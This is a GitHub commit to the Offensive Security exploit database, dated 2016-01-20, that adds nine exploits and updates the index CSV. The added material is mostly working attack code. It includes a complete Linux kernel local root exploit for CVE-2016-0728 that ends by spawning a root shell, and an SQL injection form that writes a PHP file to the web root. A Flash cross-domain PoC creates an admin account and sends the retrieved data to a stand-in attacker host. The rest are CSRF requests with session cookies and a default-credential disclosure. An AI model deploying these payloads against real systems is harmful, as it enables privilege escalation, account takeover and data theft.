Skip to content

Commit bed4bb1

Browse files
author
Offensive Security
committed
DB: 2016-01-20
9 new exploits
1 parent 93d901f commit bed4bb1

10 files changed

Lines changed: 477 additions & 2 deletions

File tree

files.csv

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -31234,7 +31234,7 @@ id,file,description,date,author,platform,type,port
3123431234
34664,platforms/ios/webapps/34664.txt,"Briefcase 4.0 iOS - Code Execution & File Include Vulnerability",2014-09-15,Vulnerability-Lab,ios,webapps,0
3123531235
34666,platforms/php/webapps/34666.py,"ALCASAR <= 2.8.1 - Remote Root Code Execution Vulnerability",2014-09-15,eF,php,webapps,80
3123631236
34667,platforms/linux/shellcode/34667.c,"Connect Back (139 bytes)",2014-09-15,MadMouse,linux,shellcode,0
31237-
34668,platforms/windows/remote/34668.txt,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution",2014-09-15,"Daniele Linguaglossa",windows,remote,80
31237+
34668,platforms/windows/remote/34668.txt,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)",2014-09-15,"Daniele Linguaglossa",windows,remote,80
3123831238
34669,platforms/multiple/remote/34669.rb,"Railo Remote File Include",2014-09-15,metasploit,multiple,remote,80
3123931239
34670,platforms/multiple/remote/34670.rb,"ManageEngine Eventlog Analyzer Arbitrary File Upload",2014-09-15,metasploit,multiple,remote,8400
3124031240
34671,platforms/java/remote/34671.rb,"SolarWinds Storage Manager Authentication Bypass",2014-09-15,metasploit,java,remote,9000
@@ -35414,7 +35414,7 @@ id,file,description,date,author,platform,type,port
3541435414
39157,platforms/php/webapps/39157.txt,"Puntopy 'novedad.php' SQL Injection Vulnerability",2014-04-06,"Felipe Andrian Peixoto",php,webapps,0
3541535415
39159,platforms/windows/local/39159.py,"FTPShell Client 5.24 - Add to Favorites Buffer Overflow",2016-01-04,INSECT.B,windows,local,0
3541635416
39160,platforms/lin_x86/shellcode/39160.c,"Linux/x86 execve _/bin/sh_ - shellcode 24 byte",2016-01-04,"Dennis 'dhn' Herrmann",lin_x86,shellcode,0
35417-
39161,platforms/windows/remote/39161.py,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution",2016-01-04,"Avinash Thapa",windows,remote,0
35417+
39161,platforms/windows/remote/39161.py,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)",2016-01-04,"Avinash Thapa",windows,remote,0
3541835418
39162,platforms/multiple/dos/39162.txt,"pdfium CPDF_DIBSource::DownSampleScanline32Bit - Heap-Based Out-of-Bounds Read",2016-01-04,"Google Security Research",multiple,dos,0
3541935419
39163,platforms/multiple/dos/39163.txt,"pdfium CPDF_TextObject::CalcPositionData - Heap-Based Out-of-Bounds Read",2016-01-04,"Google Security Research",multiple,dos,0
3542035420
39164,platforms/multiple/dos/39164.txt,"pdfium IsFlagSet (v8 memory management) - SIGSEGV",2016-01-04,"Google Security Research",multiple,dos,0
@@ -35510,3 +35510,12 @@ id,file,description,date,author,platform,type,port
3551035510
39262,platforms/php/webapps/39262.txt,"Advanced Electron Forum 1.0.9 - Persistent XSS Vulnerabilities",2016-01-18,hyp3rlinx,php,webapps,80
3551135511
39263,platforms/php/webapps/39263.txt,"Advanced Electron Forum 1.0.9 - RFI / CSRF Vulnerability",2016-01-18,hyp3rlinx,php,webapps,80
3551235512
39266,platforms/php/webapps/39266.txt,"SeaWell Networks Spectrum - Multiple Vulnerabilities",2016-01-18,"Karn Ganeshen",php,webapps,443
35513+
39267,platforms/php/webapps/39267.html,"Ilya Birman E2 '/@actions/comment-process' SQL Injection Vulnerability",2014-07-23,"High-Tech Bridge",php,webapps,0
35514+
39268,platforms/php/webapps/39268.java,"Ubiquiti Networks UniFi Video Default 'crossdomain.xml' Security Bypass Vulnerability",2014-07-23,"Seth Art",php,webapps,0
35515+
39269,platforms/php/webapps/39269.txt,"WordPress Lead Octopus Power 'id' Parameter SQL Injection Vulnerability",2014-07-28,Amirh03in,php,webapps,0
35516+
39270,platforms/php/webapps/39270.txt,"WhyDoWork AdSense Plugin for WordPress options-general.php Option Manipulation CSRF",2014-07-28,"Dylan Irzi",php,webapps,0
35517+
39271,platforms/php/webapps/39271.txt,"CMSimple Default Administrator Credentials",2014-07-28,"Govind Singh",php,webapps,0
35518+
39272,platforms/php/webapps/39272.txt,"CMSimple Remote file Inclusion",2014-07-28,"Govind Singh",php,webapps,0
35519+
39273,platforms/php/webapps/39273.txt,"CMSimple /2author/index.php color Parameter Remote Code Execution",2014-07-28,"Govind Singh",php,webapps,0
35520+
39275,platforms/windows/dos/39275.txt,"PDF-XChange Viewer 2.5.315.0 - Shading Type 7 Heap Memory Corruption",2016-01-19,"Sébastien Morin",windows,dos,0
35521+
39277,platforms/linux/local/39277.c,"Linux Kernel REFCOUNT Overflow/Use-After-Free in Keyrings",2016-01-19,"Perception Point Team",linux,local,0

platforms/linux/local/39277.c

Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
2+
# Date: 19/1/2016
3+
# Exploit Author: Perception Point Team
4+
# CVE : CVE-2016-0728
5+
6+
/* CVE-2016-0728 local root exploit
7+
modified by Federico Bento to read kernel symbols from /proc/kallsyms
8+
props to grsecurity/PaX for preventing this in so many ways
9+
10+
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
11+
$ ./cve_2016_072 PP_KEY */
12+
13+
#include <stdio.h>
14+
#include <stdlib.h>
15+
#include <string.h>
16+
#include <sys/types.h>
17+
#include <keyutils.h>
18+
#include <unistd.h>
19+
#include <time.h>
20+
#include <unistd.h>
21+
22+
#include <sys/ipc.h>
23+
#include <sys/msg.h>
24+
25+
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
26+
typedef unsigned long __attribute__((regparm(3))) (*
27+
_prepare_kernel_cred)(unsigned long cred);
28+
_commit_creds commit_creds;
29+
_prepare_kernel_cred prepare_kernel_cred;
30+
31+
#define STRUCT_LEN (0xb8 - 0x30)
32+
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
33+
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)
34+
35+
36+
37+
struct key_type {
38+
char * name;
39+
size_t datalen;
40+
void * vet_description;
41+
void * preparse;
42+
void * free_preparse;
43+
void * instantiate;
44+
void * update;
45+
void * match_preparse;
46+
void * match_free;
47+
void * revoke;
48+
void * destroy;
49+
};
50+
51+
/* thanks spender - Federico Bento */
52+
static unsigned long get_kernel_sym(char *name)
53+
{
54+
FILE *f;
55+
unsigned long addr;
56+
char dummy;
57+
char sname[256];
58+
int ret;
59+
60+
f = fopen("/proc/kallsyms", "r");
61+
if (f == NULL) {
62+
fprintf(stdout, "Unable to obtain symbol listing!\n");
63+
exit(0);
64+
}
65+
66+
ret = 0;
67+
while(ret != EOF) {
68+
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
69+
if (ret == 0) {
70+
fscanf(f, "%s\n", sname);
71+
continue;
72+
}
73+
if (!strcmp(name, sname)) {
74+
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
75+
fclose(f);
76+
return addr;
77+
}
78+
}
79+
80+
fclose(f);
81+
return 0;
82+
}
83+
84+
void userspace_revoke(void * key) {
85+
commit_creds(prepare_kernel_cred(0));
86+
}
87+
88+
int main(int argc, const char *argv[]) {
89+
const char *keyring_name;
90+
size_t i = 0;
91+
unsigned long int l = 0x100000000/2;
92+
key_serial_t serial = -1;
93+
pid_t pid = -1;
94+
struct key_type * my_key_type = NULL;
95+
96+
struct {
97+
long mtype;
98+
char mtext[STRUCT_LEN];
99+
} msg = {0x4141414141414141, {0}};
100+
int msqid;
101+
102+
if (argc != 2) {
103+
puts("usage: ./keys <key_name>");
104+
return 1;
105+
}
106+
107+
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
108+
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
109+
prepare_kernel_cred =
110+
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
111+
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
112+
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
113+
prepare_kernel_cred =
114+
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
115+
if(commit_creds == (_commit_creds)0xffffffff810bb050
116+
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
117+
puts("[-] You probably need to change the address of
118+
commit_creds and prepare_kernel_cred in source");
119+
}
120+
121+
my_key_type = malloc(sizeof(*my_key_type));
122+
123+
my_key_type->revoke = (void*)userspace_revoke;
124+
memset(msg.mtext, 'A', sizeof(msg.mtext));
125+
126+
// key->uid
127+
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
128+
//key->perm
129+
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
130+
131+
//key->type
132+
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
133+
134+
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
135+
perror("msgget");
136+
exit(1);
137+
}
138+
139+
keyring_name = argv[1];
140+
141+
/* Set the new session keyring before we start */
142+
143+
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
144+
if (serial < 0) {
145+
perror("keyctl");
146+
return -1;
147+
}
148+
149+
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
150+
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
151+
perror("keyctl");
152+
return -1;
153+
}
154+
155+
156+
puts("[+] Increfing...");
157+
for (i = 1; i < 0xfffffffd; i++) {
158+
if (i == (0xffffffff - l)) {
159+
l = l/2;
160+
sleep(5);
161+
}
162+
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
163+
perror("[-] keyctl");
164+
return -1;
165+
}
166+
}
167+
sleep(5);
168+
/* here we are going to leak the last references to overflow */
169+
for (i=0; i<5; ++i) {
170+
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
171+
perror("[-] keyctl");
172+
return -1;
173+
}
174+
}
175+
176+
puts("[+] Finished increfing");
177+
puts("[+] Forking...");
178+
/* allocate msg struct in the kernel rewriting the freed keyring
179+
object */
180+
for (i=0; i<64; i++) {
181+
pid = fork();
182+
if (pid == -1) {
183+
perror("[-] fork");
184+
return -1;
185+
}
186+
187+
if (pid == 0) {
188+
sleep(2);
189+
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
190+
perror("[-] msgget");
191+
exit(1);
192+
}
193+
for (i = 0; i < 64; i++) {
194+
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
195+
perror("[-] msgsnd");
196+
exit(1);
197+
}
198+
}
199+
sleep(-1);
200+
exit(1);
201+
}
202+
}
203+
204+
puts("[+] Finished forking");
205+
sleep(5);
206+
207+
/* call userspace_revoke from kernel */
208+
puts("[+] Caling revoke...");
209+
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
210+
perror("[+] keyctl_revoke");
211+
}
212+
213+
printf("uid=%d, euid=%d\n", getuid(), geteuid());
214+
execl("/bin/sh", "/bin/sh", NULL);
215+
216+
return 0;
217+
}

platforms/php/webapps/39267.html

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
source: http://www.securityfocus.com/bid/68843/info
2+
3+
Ilya Birman E2 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
4+
5+
An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
E2 v2844 is vulnerable; other versions may also be affected.
8+
9+
<form action="http://www.example.com/@actions/comment-process" method="post" name="main">
10+
<input type="hidden" name="already-subscribed" value="">
11+
<input type="hidden" name="comment-id" value="new">
12+
<input type="hidden" name="elton-john" value="1">
13+
<input type="hidden" name="email" value="mail@mail.com">
14+
<input type="hidden" name="from" value="">
15+
<input type="hidden" name="name" value="name">
16+
<input type="hidden" name="subscribe" value="on">
17+
<input type="hidden" name="text" value="1">
18+
<input type="hidden" name="note-id" value="' UNION SELECT '<? phpinfo(); ?>',2,3,4,5,1,7,8,9,10,11,12,13,14,15 INTO OUTFILE '/var/www/file.php' -- 2">
19+
<input type="submit" id="btn">
20+
</form>

platforms/php/webapps/39268.java

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
source: http://www.securityfocus.com/bid/68866/info
2+
3+
UniFi Video is prone to a security-bypass vulnerability.
4+
5+
An authenticated attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks.
6+
7+
UniFi Video 2.1.3 is vulnerable; other versions may also be affected.
8+
9+
// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
10+
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
11+
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
12+
package {
13+
import flash.display.Sprite;
14+
import flash.events.*;
15+
import flash.net.URLRequestMethod;
16+
import flash.net.URLRequest;
17+
import flash.net.URLLoader;
18+
import flash.net.URLRequestHeader;
19+
20+
public class XDomainXploit3 extends Sprite {
21+
public function XDomainXploit3() {
22+
// Target URL from where the data is to be retrieved
23+
var readFrom:String = "https//www.example.com:7443/api/2.0/admin";
24+
var header:URLRequestHeader = new URLRequestHeader("Content-Type",
25+
"text/plain; charset=UTF-8");
26+
var readRequest:URLRequest = new URLRequest(readFrom);
27+
readRequest.method = URLRequestMethod.POST
28+
readRequest.data =
29+
"{\"name\":\"csrf-cdp\",\"email\":\"csrf-cdp@gmail.com\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";
30+
readRequest.requestHeaders.push(header);
31+
var getLoader:URLLoader = new URLLoader();
32+
getLoader.addEventListener(Event.COMPLETE, eventHandler);
33+
try {
34+
getLoader.load(readRequest);
35+
} catch (error:Error) {
36+
trace("Error loading URL: " + error);
37+
}
38+
}
39+
40+
41+
private function eventHandler(event:Event):void {
42+
// URL to which retrieved data is to be sent
43+
var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php"
44+
var sendRequest:URLRequest = new URLRequest(sendTo);
45+
sendRequest.method = URLRequestMethod.POST;
46+
sendRequest.data = event.target.data;
47+
var sendLoader:URLLoader = new URLLoader();
48+
try {
49+
sendLoader.load(sendRequest);
50+
} catch (error:Error) {
51+
trace("Error loading URL: " + error);
52+
}
53+
}
54+
}
55+
}

platforms/php/webapps/39269.txt

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/68934/info
2+
3+
The Lead Octopus Power plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=[SQL]

platforms/php/webapps/39270.txt

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
source: http://www.securityfocus.com/bid/68954/info
2+
3+
WhyDoWork AdSense plugin for WordPress is prone to a cross-site scripting vulnerability and a cross-site request-forgery vulnerability.
4+
5+
An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or perform unauthorized actions. Other attacks may also be possible.
6+
7+
WhyDoWork AdSense plugin 1.2 and prior are vulnerable.
8+
9+
POST URL:
10+
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
11+
Host: www.example.com
12+
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101
13+
Firefox/31.0
14+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
15+
Accept-Language: es-co
16+
Accept-Encoding: gzip, deflate
17+
Referer:
18+
http://www.example.com/wordpress/wp-admin/options-general.php?page=whydowork_adsense&idcode=1
19+
Cookie:
20+
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=hacking%7C1406766762%7C0a0ccdb16a9d99c2b9113e25e2ea6b8d;
21+
wp-settings-time-1=1406489836;
22+
wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse;
23+
wordpress_test_cookie=WP+Cookie+check;
24+
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=loreleitaron%7C1406766762%7C667e59a36d4254c8a178580770ac5135
25+
Connection: keep-alive
26+
Content-Type: application/x-www-form-urlencoded
27+
Content-Length: 843
28+
29+
CONTENIDO POST:
30+
idx=1&whydowork_code=tets&whydowork_exclude=&whydowork_front_code_1=FALSE&whydowork_front_pos_1=top&whydowork_front_post_1=1&whydowork_front_code_2=FALSE&whydowork_front_pos_2=top&whydowork_front_post_2=1&whydowork_front_code_3=FALSE&whydowork_front_pos_3=top&whydowork_front_post_3=1&whydowork_page_code_1=FALSE&whydowork_page_pos_1=top&whydowork_page_code_2=FALSE&whydowork_page_pos_2=top&whydowork_page_code_3=FALSE&whydowork_page_pos_3=top&whydowork_single_code_1=FALSE&whydowork_single_pos_1=top&whydowork_single_code_2=FALSE&whydowork_single_pos_2=top&whydowork_single_code_3=FALSE&whydowork_single_pos_3=top&whydowork_singleold_code_1=FALSE&whydowork_singleold_pos_1=top&whydowork_singleold_code_2=FALSE&whydowork_singleold_pos_2=top&whydowork_singleold_code_3=FALSE&whydowork_singleold_pos_3=top&whydowork_adsense_oldday=&Submit=Update
31+

platforms/php/webapps/39271.txt

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
source: http://www.securityfocus.com/bid/68961/info
2+
3+
CMSimple is prone to multiple security vulnerabilities including:
4+
5+
1. Multiple arbitrary PHP code-execution vulnerabilities
6+
2. A weak authentication security-bypass vulnerability
7+
3. Multiple security vulnerabilities
8+
9+
An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks.
10+
11+
Any user can login just with simple password "test" which is the default cms password & there own vendor site is vulnerable with weak authentication
12+
just login without user name & also with default password "test" here "http://cmsimple.org/2author/?Welcome_to_CMSimple&login"

0 commit comments

Comments
 (0)